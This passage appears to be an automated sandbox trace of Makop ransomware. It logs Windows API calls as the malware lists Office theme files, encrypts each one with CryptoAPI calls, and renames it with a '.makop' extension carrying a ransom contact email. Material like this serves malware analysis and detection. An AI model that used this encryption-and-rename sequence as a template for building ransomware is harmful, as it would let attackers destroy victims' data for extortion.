Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.462] CloseHandle (hObject=0x138) returned 1 [0099.463] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0099.463] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM") returned 75 [0099.463] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.464] GetProcessHeap () returned 0x48a0000 [0099.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.464] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.464] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.464] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0099.468] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.468] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.468] GetProcessHeap () returned 0x48a0000 [0099.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.468] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.468] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.468] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.468] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.469] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.469] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.469] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.469] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.469] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.469] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.469] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.470] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11e37, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x11e37, lpOverlapped=0x0) returned 1 [0099.472] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x11e40, dwBufLen=0x11e40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x11e40) returned 1 [0099.473] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.473] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11e40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x11e40, lpOverlapped=0x0) returned 1 [0099.474] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.474] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x11f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.474] SetEndOfFile (hFile=0x138) returned 1 [0099.481] GetProcessHeap () returned 0x48a0000 [0099.481] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.481] GetProcessHeap () returned 0x48a0000 [0099.481] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.481] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.487] CloseHandle (hObject=0x138) returned 1 [0099.487] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0099.487] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF") returned 75 [0099.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.489] GetProcessHeap () returned 0x48a0000 [0099.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.489] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.489] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.489] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0099.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.493] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.493] GetProcessHeap () returned 0x48a0000 [0099.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.493] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.493] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.493] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.494] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.494] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.494] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.495] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.495] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.495] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.495] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.495] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x265, lpOverlapped=0x0) returned 1 [0099.495] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x270, dwBufLen=0x270 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x270) returned 1 [0099.495] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.496] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x270, lpOverlapped=0x0) returned 1 [0099.496] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.496] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.496] SetEndOfFile (hFile=0x138) returned 1 [0099.503] GetProcessHeap () returned 0x48a0000 [0099.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.503] GetProcessHeap () returned 0x48a0000 [0099.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.503] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.505] CloseHandle (hObject=0x138) returned 1 [0099.505] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.505] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0099.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.506] GetProcessHeap () returned 0x48a0000 [0099.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.506] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.506] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.507] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0099.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.512] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.512] GetProcessHeap () returned 0x48a0000 [0099.512] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.512] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.512] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.512] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.513] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.513] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.513] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.513] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.513] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.514] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.514] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.514] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.514] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbb5a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbb5a, lpOverlapped=0x0) returned 1 [0099.516] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbb60, dwBufLen=0xbb60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbb60) returned 1 [0099.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.517] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbb60, lpOverlapped=0x0) returned 1 [0099.517] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.517] SetEndOfFile (hFile=0x138) returned 1 [0099.525] GetProcessHeap () returned 0x48a0000 [0099.525] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.525] GetProcessHeap () returned 0x48a0000 [0099.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.526] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0099.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.527] CloseHandle (hObject=0x138) returned 1 [0099.527] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.528] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.528] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0099.528] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN") returned 61 [0099.528] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*") returned 65 [0099.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.528] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.528] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.529] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0099.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.531] GetProcessHeap () returned 0x48a0000 [0099.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.531] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.531] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.531] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0099.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.535] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.535] GetProcessHeap () returned 0x48a0000 [0099.536] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.536] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.536] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.536] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: 